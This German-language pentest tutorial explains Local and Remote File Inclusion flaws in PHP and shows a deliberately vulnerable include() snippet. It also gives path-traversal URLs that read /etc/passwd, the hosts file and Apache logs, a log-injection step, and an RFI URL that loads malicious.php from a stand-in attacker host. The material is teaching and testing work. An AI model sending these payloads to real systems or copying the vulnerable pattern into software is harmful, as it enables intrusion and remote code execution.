Local File Inclusion (LFI) und Remote File Inclusion (RFI)
Einführung
Datei-Inklusions-Schwachstellen wie Local File Inclusion (LFI) und Remote File Inclusion (RFI) treten auf, wenn eine Anwendung unkontrolliert Dateien von einem Server (lokal oder remote) in ihren Output einbindet. Dies geschieht oft durch die Übergabe von Parametern in GET-, POST-Anfragen oder Cookies, die Pfade zu Dateien definieren. Angreifer nutzen diese Schwachstellen aus, um Zugriff auf unerwünschte Dateien zu erhalten, vertrauliche Informationen einzusehen oder in manchen Fällen sogar Code auszuführen.
Typische Risiken bei LFI:
Vertrauliche Informationen preisgeben (z.B.
C:\windows\system32\drivers\etc\hosts
)Codeausführung durch Log-Injection oder andere Techniken
Typische Risiken bei RFI:
Remote Code Execution (RCE) durch das Einfügen externer Dateien
Übernahme der Kontrolle über den Server, wenn externe bösartige Skripte eingebunden werden
Gefährliche Einstellungen
Viele LFI- und RFI-Schwachstellen treten auf, weil Anwendungen auf PHP-Methoden wie include()
, require()
, include_once()
, oder require_once()
vertrauen, ohne den Dateipfad ausreichend zu überprüfen oder Eingaben zu filtern. Hierbei ist insbesondere das Fehlen von Filtermechanismen und Input-Sanitisierung ein großes Problem.
Beispiel für gefährlichen PHP-Code
<?php
// Inkludiert eine Datei basierend auf einem URL-Parameter
$page = $_GET['page'];
include($page); // Keine Validierung des Inputs, anfällig für LFI/RFI
?>
Grundlegende Commands zur Identifikation und Ausnutzung
Um LFI oder RFI zu testen, wird typischerweise versucht, Dateien vom System zu lesen. Hierbei können Pfad-Traversal-Techniken mit ../
-Sequenzen angewendet werden, um auf geschützte Verzeichnisse zuzugreifen.
Beispielanfrage zur LFI-Ausnutzung:
http://targetsite.com/index.php?page=../../../../../../etc/passwd
In diesem Beispiel versucht der Angreifer, auf die Datei /etc/passwd
auf einem Linux-Server zuzugreifen. Der ../
-Pfadtraversal gibt an, dass das Dateisystem schrittweise in das übergeordnete Verzeichnis zurückkehren soll, bis die Zielressource erreicht ist.
RFI-Ausnutzung (wenn allow_url_include
in der PHP-Konfiguration aktiviert ist):
allow_url_include
in der PHP-Konfiguration aktiviert ist):http://targetsite.com/index.php?page=http://malicioussite.com/malicious.php
Der Server lädt hier eine externe Datei und führt möglicherweise enthaltenen bösartigen Code aus.
Schritt-für-Schritt-Anleitung zur Pentest-Prüfung
1. Enumeration
Initiale Pfadprüfung: Testen Sie mit einer einfachen Anfrage, um herauszufinden, ob eine Datei-Inklusion existiert:
http://targetsite.com/index.php?page=testfile
Pfad-Traversal-Test: Führen Sie Tests mit
../
-Sequenzen durch:http://targetsite.com/index.php?page=../../../../etc/passwd
Windows-spezifische Ziele: Zugriff auf die Datei
hosts
testen:http://targetsite.com/index.php?page=../../../../../../windows/system32/drivers/etc/hosts
2. Validierung und Identifikation
Prüfen Sie, ob die Datei tatsächlich im Response-Body enthalten ist, was auf eine LFI hinweist.
Überprüfen Sie die PHP-Konfiguration (falls einsehbar) und die Einstellung
allow_url_include
. Ist diese aufOn
gesetzt, besteht das Risiko einer RFI.
3. Exploitation
LFI zur Codeausführung (falls möglich):
Log-Injection-Technik: Eingabe von PHP-Code in Log-Dateien (z.B. Access-Logs) und Abruf der Logs über LFI.
http://targetsite.com/index.php?page=../../../../var/log/apache2/access.log
RFI zur Remote-Codeausführung:
Laden Sie eine bösartige PHP-Datei von einem entfernten Server.
Ergänzende Tools
wfuzz
: Um Pfade für mögliche LFI/RFI zu bruteforcen.Burp Suite
: Zum Durchführen komplexer LFI/RFI-Manipulationen und Eingabeprüfungen.Metasploit
: Es gibt Module zur automatischen LFI/RFI-Exploitation.
Die include()
Methode in PHP
include()
Methode in PHPDie include()
Methode importiert den Inhalt einer Datei und führt sie aus, als ob sie direkt in den Code eingefügt wäre. Einfache Beispiele:
Code-Beispiel:
// Datei: vars.php
<?php
$color = 'green';
$fruit = 'apple';
?>
// Datei: test.php
<?php
echo "A $color $fruit"; // Ausgabe = "A"
include 'vars.php';
echo "A $color $fruit"; // Ausgabe = "A green apple"
?>
Beschreibung: include()
integriert den Inhalt von vars.php
und macht die darin enthaltenen Variablen verfügbar, sobald es aufgerufen wird.
Durch den Einsatz dieser Methode ohne Eingabekontrolle und Validierung entstehen die beschriebenen LFI/RFI-Schwachstellen.
Last updated